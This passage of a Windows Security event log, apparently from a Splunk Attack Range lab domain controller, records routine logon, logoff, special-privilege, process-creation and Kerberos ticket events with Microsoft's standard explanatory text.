The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252226
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{D9842D1F-32A3-5579-228A-FC8C9908A53A}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252225
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{D9842D1F-32A3-5579-228A-FC8C9908A53A}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252224
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252223
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x154A00

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252222
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xfd4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-wmi.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x13dc
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-wmi.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252221
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x154A00

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252220
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x154A00
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{D9842D1F-32A3-5579-228A-FC8C9908A53A}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252219
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{D9842D1F-32A3-5579-228A-FC8C9908A53A}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252218
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{D9842D1F-32A3-5579-228A-FC8C9908A53A}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252217
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252216
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14BFA9

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252215
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14B654

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252214
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14A2E4

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252302
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x15844F

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252301
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x15844F
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64627

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252300
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x15844F

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:50:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252299
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1583EE

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252298
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x1583EE
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64626

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252297
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1583EE

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:50:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252296
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x158388

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252295
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x158388
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64625

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252294
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x158388

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:50:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252293
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x158327

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252292
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x158327
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64624

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252291
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x158327

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:50:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252290
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x158212

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252289
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x158212
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{D77D8964-7AE3-A943-2CF8-3E53FE8EF695}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252288
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{D77D8964-7AE3-A943-2CF8-3E53FE8EF695}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252287
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{D77D8964-7AE3-A943-2CF8-3E53FE8EF695}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
